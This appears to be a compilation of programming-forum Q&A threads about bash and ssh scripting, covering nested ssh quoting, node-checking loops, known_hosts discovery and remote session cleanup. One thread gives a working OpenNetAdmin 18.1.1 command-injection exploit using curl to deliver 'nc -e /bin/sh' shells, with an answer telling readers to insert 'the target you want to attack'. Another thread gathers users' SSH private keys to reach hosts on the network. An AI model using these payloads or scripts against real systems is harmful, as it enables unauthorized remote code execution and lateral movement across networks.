I need to pipe multiple ssh commands in order to run commands on a remote machine.
The commands are working fine with a single ssh but not after piping ssh.
E.g
ssh abc#remotemachine1.com "a=hello ; echo \$a"
return hello
but
ssh abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
produces no output.
Similarly:
ssh abc#remotemachine1.com "mountedDir=\$(df \tmp | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \$mountedDir"
Is working fine producing the following output :
/dev/sda2 on / type xfs (rw,relatime,attr2,inode64,noquota)
but
ssh abc#remotemachine1.com ssh abc#remotemachine2.com "mountedDir=\$(df \tmp | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \$mountedDir"
is throwing the following error:
Usage: grep [OPTION]... PATTERN [FILE]...
Try 'grep --help' for more information.
Note: Passwordless ssh is established from my machine to remotemachine1.com and from remotemachine1.com to remotemachine2.com
If for some reason you do not want to modify your ssh_config file, you need to use ssh -t which will cause a real TTY to be allocated on machine 2, like so:
ssh -t abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
Be wary, as using this method implies that all the SSH login authentication procedures will happen at remotemachine1.com, so if you have security concerns, you are better off with #allo 's answer.
ssh abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
Looks wrong. If you want to jump from remotemachine1 to remotemachine2 have a look at the ProxyJump option in the ssh config. You can give it on the command line using the -o option of the ssh binary.
It finally worked after I added multiple escape characters
ssh abc#remotemachine1.com " ssh abc#remotemachine2.com \" a=hello ;echo \\\$a \" "
And
ssh abc#remotemachine1.com " ssh abc#remotemachine2.com \" mountedDir=\\\$(df /var | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \\\$mountedDir | grep -vi 'noexec' \" "
Related
I have to make ssh request for different nodes based on given IP.
different ssh commands are stored in node.txt as below
0.0.0.0 a ssh -t user#0.0.0.0 sudo -u node0 /path/script.sh
0.0.0.1 b ssh -t user#0.0.0.1 sudo -u node1 /path/script.sh
0.0.0.2 c ssh -t user#0.0.0.2 sudo -u node2 /path/script.sh
I try to grep the needed ssh command like this
comm=$(grep 0.0.0.2 node.txt | grep c | cut -f3)
when I run
status=$($comm)
the following error appears:
/path/script.sh not found
while if I hard coded the command in the script itself it work correctly,
comm='ssh -t user#0.0.0.2 sudo -u node2 /path/script.sh'
status=$($comm)
what could be the problem here?
#Karim Ater
Try the following at your system:
comm=$(grep 0.0.0.2 node.txt | grep c | cut -f3)
$ echo $comm
Hence I tried
comm=$(grep 0.0.0.2 node.txt | grep c | sed "s/.*ssh/ssh/;")
$ echo $comm
I cannot confirm the contents of node.txt to know related delimiter.
Hence I used sed instead of using cut.
I'm trying to write a script that builds a list of nodes then ssh into the first node of that list
and runs a checknodes.sh script which it's self is just a for i loop that calls checknode.sh
The first 2 lines seems to work ok, the list builds successfully, but then I get either get just the echo line of checknodes.sh to print out or an error saying cat: gpcnodes.txt: No such file or directory
MYSCRIPT.sh:
#gets the master node for the job
MASTERNODE=`qstat -t -u \* | grep $1 | awk '{print$8}' | cut -d'#' -f 2 | cut -d'.' -f 1 | sed -e 's/$/.com/' | head -n 1`
#builds list of nodes in job
ssh -qt $MASTERNODE "qstat -t -u \* | grep $1 | awk '{print$8}' | cut -d'#' -f 2 | cut -d'.' -f 1 | sed -e 's/$/.com/' > /users/issues/slow_job_starts/gpcnodes.txt"
ssh -qt $MASTERNODE cd /users/issues/slow_job_starts/
ssh -qt $MASTERNODE /users/issues/slow_job_starts/checknodes.sh
checknodes.sh
for i in `cat gpcnodes.txt `
do
echo "### $i ###"
ssh -qt $i /users/issues/slow_job_starts/checknode.sh
done
checknode.sh
str=`hostname`
cd /tmp
time perf record qhost >/dev/null 2>&1 | sed -e 's/^/${str}/'
perf report --pretty=raw | grep % | head -20 | grep -c kernel.kallsyms | sed -e "s/^/`hostname`:/"
When ssh -qt $MASTERNODE cd /users/issues/slow_job_starts/ is finished, the changed directory is lost.
With the backquotes replaced by $(..) (not an error here, but get used to it), the script would be something like
for i in $(cat /users/issues/slow_job_starts/gpcnodes.txt)
do
echo "### $i ###"
ssh -nqt $i /users/issues/slow_job_starts/checknode.sh
done
or better
while read -r i; do
echo "### $i ###"
ssh -nqt $i /users/issues/slow_job_starts/checknode.sh
done < /users/issues/slow_job_starts/gpcnodes.txt
Perhaps you would also like to change your last script (start with cd /users/issues/slow_job_starts)
You will find more problems, like sed -e 's/^/${str}/' (the ${str} inside single quotes won't be replaced by a host), but this should get you started.
EDIT:
I added option -n to the ssh call.
Redirects stdin from /dev/null (actually, prevents reading from stdin).
Without this option only one node is checked.
I found an exploit at exploit-db for the OpenNetAdmin 18.1.1
I have to adjust this script so it work for me but I don't get this done.
This is what I have so far:
URL="xxx.xxx.xxx.xxx/ona"
while true;do
echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
The output is just:
{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }
I am a bit struggling with the syntax.
What did I do wrong?
This is what you want, if you just need to launch the nc program. The script supposes that the remote machine is a Linux machine, with /bin/bash and nc (netcat) compiled with the -e support
#!/bin/bash
URL="http://.../ona"
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
I found a solution that fits:
#!/bin/bash
URL="http://xxx.xxx.xxx.xxx/ona/"
while true;do
echo -n "{/bin/sh -i}"; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltip>
done
Just replace the xxx.xxx.xxx.xxx with the target you want to attack and save the script as shell.sh
Now run the script with ./shell.sh and you get an interactive shell on the target system.
To verify that you can now type in pwd or id and check if you was successful.
I am trying currently to achieve a bash script that will validate if SSH keys on a server are still linked to known hosts that are active on the local area network. You can find below the beginning of my bash script to achieve this:
#!/bin/bash
# LAN SSH KEYS DISCOVERY SCRIPT
# TRYING TO FIND THOSE SSH KEYS NOW
cat /etc/passwd | grep /bin/bash > bash_users
cat bash_users | cut -d ":" -f 6 > cutted.bash_users_home_dir
for bash_users in $(cat cutted.bash_users_home_dir)
do
ls -al $bash_users/.ssh/*id_* >> ssh-keys.txt
done
# DISCOVERING THE KNOWN_HOSTS NOW
for known_hosts in $(cat cutted.bash_users_home_dir)
do
cat $bash_users/.ssh/known_hosts | awk '{print $1}' | sort -u >>
hosts_known.txt
sleep 2
done
hosts_known=$(wc -l hosts_known.txt)
echo "We have $hosts_known known hosts that could be still active via SSH
keys"
# TIME TO TEST WHICH SSH servers are still active with the SSH keys
# AND THIS IS WHERE I AM FROZEN...
# Would love to have bash script that could
# ssh -l $users_that_have_/bin/bash -i $ssh_keys $ssh_servers
# Would also be very nice if it could save active
# SSH servers with the valid keys in output.txt in the format
# username:local-IP:/path/to/SSH_key
Please feel very comfortable to edit/modify the bash script above if it can serve better the goals described.
Any help would be very appreciated,
Thanks
The following works cool:
</etc/passwd \
grep /bin/bash |
cut -d: -f6 |
sudo xargs -i -- sh -c '
[ -e "$1" ] && cat "$1"
' -- {}/.ssh/known_hosts |
cut -d' ' -f1 |
tr ',' '\n' |
sed '
/^\[/{
s/\[\(.*\)\]:\(.*\)/\1 \2/;
t;
};
s/$/ 22/;
' |
sort -u |
xargs -l1 -- sh -c '
if echo "~" | nc -q1 -w3 "$1" "$2" | grep -q "^SSH"; then
echo "#### SUCCESS $1 $2";
else
echo "#### ERROR $1 $2";
fi
' --
So:
Start with /etc/passwd
Filter all "bash_users" as you call them
Filter user home directories only cut -d: -f6
For each user home directory sudo xargs -i -- run
Check if the file .ssh/known_hosts inside the user home directory exists
If it does, print it
Filter only hosts names
Multiple hosts signatures may share same key and are separated by a comma. Replace comma for newline
Now a sed script:
If a line starts with a [ that means it has a format of [host]:port and I want to replace it with host port
If the line does not start with a [ I add 22 to the end of the line so it's host 22
Then I sort -u
Now for each line:
I get the ssh version from ssh echo "~" | nc hostname port returns smth like "SSH-2.0-OpenSSH_6.0" + newline + "Protocol mismatch".
So if the line returned by nc hostname port starts with SSH that means there is ssh running on the other side
I added timeout for unresponsive hosts, but I think nc -w timeout option may also be used. Probably also nc -q 1 should be specified.
Now the real fun is, when you add the max-procs option to the last xargs line, you can check all hosts simultaneously. On my host I have 47 unique addresses and xargs -P30 checks them ALL in like 2 seconds.
But really there are some problems. The script needs root to read from all users known_hosts. But worse, the known_hosts may be hashed. It would be better to firstly know the list of hosts on your network, and then generate known_hosts from it. It would look like ssh-keyscan -f list_of_hosts > ~/.ssh/known_hosts or similar. Generaly ssh-keygen -F hostname should be used if a host exists in known_hosts, sadly there is no listing command. known_hosts file format may be found in ssh documentation.
There are several terminals in a single localhost in which I have ssh-ed into the same user and same IP address. I want to find all the terminals in which a remote host has been logged, terminate all processes running in those and log out of that remote host. I succeeded using the following shell script.
#Find list of terminals in which the remote host is logged in.
openedTerminals=`ssh $user#$publicIP "ps -aux | grep -i $user#pts | grep -v grep | cut -d' ' -f 3"`
#close all the ssh sessions to that remote host
i=1
terminalPID=`echo $openedTerminals | cut -d' ' -f $i`
while [[ -n "$terminalPID" ]]
do
ssh $user#$publicIP "kill $terminalPID"
i=`expr $i + 1`
terminalPID=`echo $openedTerminals | cut -d' ' -f $i`
done
I used the following command to open a new terminal and ssh into a remote host which worked fine when executed from the command prompt:
gnome-terminal -window-with-profile=NOCLOSEPROFILE -e "ssh -X $user#$publicIP"
Apart from doing the work of the 1st code, I want to open a new terminal (by ssh-ing into another remote machine) for every remote machine which was terminated by the 1st code. So I tried to insert the above command in the 1st code as:
#Find list of terminals in which the remote host is logged in.
openedTerminals=`ssh $user#$publicIP "ps -aux | grep -i $user#pts | grep -v grep | cut -d' ' -f 3"`
#close all the ssh sessions to that remote host
i=1
terminalPID=`echo $openedTerminals | cut -d' ' -f $i`
while [[ -n "$terminalPID" ]]
do
ssh $user#$publicIP "kill $terminalPID"
gnome-terminal -window-with-profile=NOCLOSEPROFILE -e "ssh -X $newUser#$newPublicIP"
i=`expr $i + 1`
terminalPID=`echo $openedTerminals | cut -d' ' -f $i`
done
But this starts running in an infinite loop and opens infinite number of new terminals.
Please tell me where I am wrong and suggest a way to correct it in order to get the desired solution.
Also, I wish to add a command in the same shell script (1st code) to close the terminals in which the remote machine was logged out. Can anyone please guide me on this?
Thanks in advance,
Saeya
When only one terminal which is ssh-ed to the remote machine is opened, this runs in an infinite loop because of the "cut" command. If there is a separate case to handle one terminal this will work fine.